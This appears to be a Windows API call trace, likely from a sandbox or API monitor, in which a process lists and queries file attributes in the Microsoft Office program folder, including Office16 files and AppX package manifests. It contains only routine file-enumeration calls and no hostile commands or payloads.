	[0273.649] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1
	[0273.649] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1
	[0273.649] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1
	[0273.649] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1
	[0273.649] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0273.649] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0273.649] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0273.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0)) returned 1
	[0273.650] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0273.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103)) returned 1
	[0273.650] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0273.650] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0273.650] SetEvent (hEvent=0x1a0) returned 1
	[0273.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40)) returned 1
	[0273.742] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0273.742] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0)) returned 1
	[0273.742] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0273.742] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests" (normalized: "c:\\program files\\microsoft office\\packagemanifests"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0273.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests" (normalized: "c:\\program files\\microsoft office\\packagemanifests"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.743] VirtualAlloc (lpAddress=0xc0003f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f6000
	[0273.744] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0xc0001df6f8 | out: lpFindFileData=0xc0001df6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0274.015] SetEvent (hEvent=0x124) returned 1
	[0274.015] VirtualAlloc (lpAddress=0xc0003f8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f8000
	[0274.016] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0274.237] SetEvent (hEvent=0x124) returned 1
	[0274.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cAlternateFileName="APA05A~1.XML")) returned 1
	[0274.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cAlternateFileName="APAD0B~1.XML")) returned 1
	[0274.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cAlternateFileName="APEDE2~1.XML")) returned 1
	[0274.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP51DE~1.XML")) returned 1
	[0274.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~4.XML")) returned 1
	[0274.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCEE5~1.XML")) returned 1
	[0274.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP557F~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE193~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APC1E2~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC422~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2169~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP7BBA~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cAlternateFileName="APEF10~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cAlternateFileName="AP5F49~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cAlternateFileName="APB0FE~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8AF5~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cAlternateFileName="APF26A~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC553~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP9FA1~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP330B~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6206~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APD1EA~1.XML")) returned 1
	[0274.238] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6EFE~1.XML")) returned 1
	[0274.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cAlternateFileName="APB63F~1.XML")) returned 1
	[0274.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cAlternateFileName="APB913~1.XML")) returned 1
	[0274.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP4637~1.XML")) returned 1
